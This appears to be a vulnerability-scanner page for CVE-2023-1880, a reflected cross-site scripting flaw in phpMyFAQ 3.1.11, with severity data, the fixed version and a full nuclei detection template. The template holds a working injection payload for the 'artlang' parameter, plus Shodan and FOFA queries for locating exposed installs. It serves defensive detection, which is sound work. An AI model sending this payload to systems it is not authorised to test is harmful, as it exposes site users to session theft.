Phpmyfaq v3.1.11 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

Phpmyfaq v3.1.11 is vulnerable to reflected XSS in send2friend because the 'artlang' parameter is not sanitized.

Impact

Unauthenticated attackers can inject malicious JavaScript through the unsanitized artlang parameter in send2friend functionality to steal user session cookies.

Fix

Fixed in 3.1.12 Version.

How to confirm it

Send: GET {{BaseURL}}/?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status_code == 200 and contains(body, "phpmyfaq") && contains(body, "<script>alert(document.domain)</script>") and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2023-1880 -u <target>

The full check

id: CVE-2023-1880

info:
  name: Phpmyfaq v3.1.11 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Phpmyfaq v3.1.11 is vulnerable to reflected XSS in send2friend because the 'artlang' parameter is not sanitized.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the unsanitized artlang parameter in send2friend functionality to steal user session cookies.
  remediation: Fixed in 3.1.12 Version.
  reference:
    - https://huntr.dev/bounties/ece5f051-674e-4919-b998-594714910f9e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1880
    - https://github.com/thorsten/phpmyfaq/commit/bbc5d4aa4a4375c14e34dd9fcad2042066fe476d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1880
    cwe-id: CWE-79
    epss-score: 0.01644
    epss-percentile: 0.76631
    cpe: cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpmyfaq
    product: phpmyfaq
    shodan-query: http.html:"phpmyfaq"
    fofa-query: body="phpmyfaq"
  tags: cve2023,cve,huntr,xss,phpmyfaq,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "phpmyfaq") && contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from